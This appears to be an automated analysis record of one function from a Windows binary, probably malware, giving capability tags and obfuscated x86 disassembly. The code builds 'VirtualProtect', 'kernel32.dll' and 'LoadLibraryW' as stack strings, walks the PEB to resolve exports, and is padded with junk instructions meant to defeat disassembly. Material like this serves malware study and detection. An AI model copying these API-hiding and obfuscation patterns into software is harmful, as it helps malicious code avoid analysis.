Function at 0x415d11
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub eax, 0x1603
add eax, 0x3bb7
sub eax, 0x93a2
pop eax
push edi
and edi, 0xb4ed
add edi, 0x39e6
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push ecx
add esp, 4
xor edi, 0x16ed6
add edi, 0x169aa
add edi, 0x13159
sub edi, 0x2e90
pop edi
push edx
push ecx
add esp, 4
jmp 0x415800
or edx, 0x2daa
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
push edx
add esp, 4
sub edx, 0x160f5
or edx, 0x51c1
pop edx
push eax
push edx
add esp, 4
xor eax, 0xb55e
add eax, 0x8f50
xor eax, 0x119e1
pop eax
push ecx
add ecx, 0x5bc2
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
call 0x4158dd
add byte [edx], dh
xor eax, 0x4f383b36
xor edi, dword [eax]
xor al, byte [ebx - 0x317efb3c]
js 0x41593f
add byte [eax], al
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0x1759
or ebx, 0x2aba
sub ebx, 0x133aa
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
and edi, 0x6d88
and edi, 0x1e14
jmp 0x415938
and edi, 0x10218
pop edi
push eax
push esi
add esp, 4
jmp 0x41594b
sub eax, 0xece4
or eax, 0x10671
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x415970
mov dword [ebp - 0x2a8], 0
jmp 0x415c17
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
sub ecx, 0x85e6
or ecx, 0xf4f3
call 0x41599e
add byte [ecx + 0x36], al
inc eax
inc edx
dec esp
dec ebp
inc ebp
cmp al, 0x35
add esp, 4
call 0x4159b0
add byte [edi + 0x4b], al
inc edi
dec esi
cmp al, 0x32
xor al, byte [esi + 0x4b]
add esp, 4
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x4159cc
mov dword [ebp - 0x2a8], 0
jmp 0x415c17
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
push edi
add esp, 4
jmp 0x4159e5
sub edi, 0xd99
and edi, 0xb451
add edi, 0x18264
pop edi
push ebx
push eax
add esp, 4
add ebx, 0x12a56
add ebx, 0xdc83
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
jmp 0x415a3a
or edi, 0x5f48
call 0x415a4e
add byte [ecx + 0x3c], al
dec edi
inc edi
dec ebp
xor eax, dword [ebx + esi - 0x7d]
les eax, [edi + ebx*2]
push ebx
add ebx, 0x80ce
xor ebx, 0x67ed
sub ebx, 0x7816
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push esi
add esp, 4
call 0x415ad0
add byte [ebx + 0x33], cl
dec esp
dec ecx
dec ebx
dec ecx
cmp dword ds:[ebx - 0xc7efb3c], eax
xchg ebp, eax
pop es
add byte [eax], al
sub ebx, 0xfab0
call 0x415aeb
add byte [edx], bh
cmp dword [edi + 0x33], ecx
aaa
cmp eax, dword [ebx + 0xf5b04c4]
mov bh, 0x45
enter 0xffffffffffffc085, 0x75
adc eax, 0xfc8db70f
std
invalid
push edx
push eax
add esp, 4
jmp 0x415c25
sub edx, 0x15852
pop edx
push edi
xor edi, 0xae2e
pop edi
push edx
push ebx
add esp, 4
add edx, 0xfe89
jmp 0x415c48
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x41654e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
call 0x415cff
add byte [ebx + edi], bh
dec ecx
inc eax
inc edi
dec edi
dec ecx
dec esi
add esp, 4
pop edx
push ecx
call 0x415d11
add byte [eax + 0x4f], al
inc edx
inc ecx
cmp dword [edi], edi
inc eax
add esp, 4
jmp 0x415d1a
or ecx, 0x8e28
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edx
add esp, 4
and edx, 0xab78
or edx, 0xd817
pop edx
push esi
and esi, 0x14cf
xor esi, 0x2296
or esi, 0x2263
pop esi
push ebx
push eax
add esp, 4
sub ebx, 0x20b4
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x415dee
mov dword [ebp - 0x710], 0
jmp 0x416095
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x20fb
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x18178
and ecx, 0x15d37
and ecx, 0x76be
pop ecx
push edx
push edi
add esp, 4
jmp 0x415e31
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x415e4a
mov dword [ebp - 0x710], 0
jmp 0x416095
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx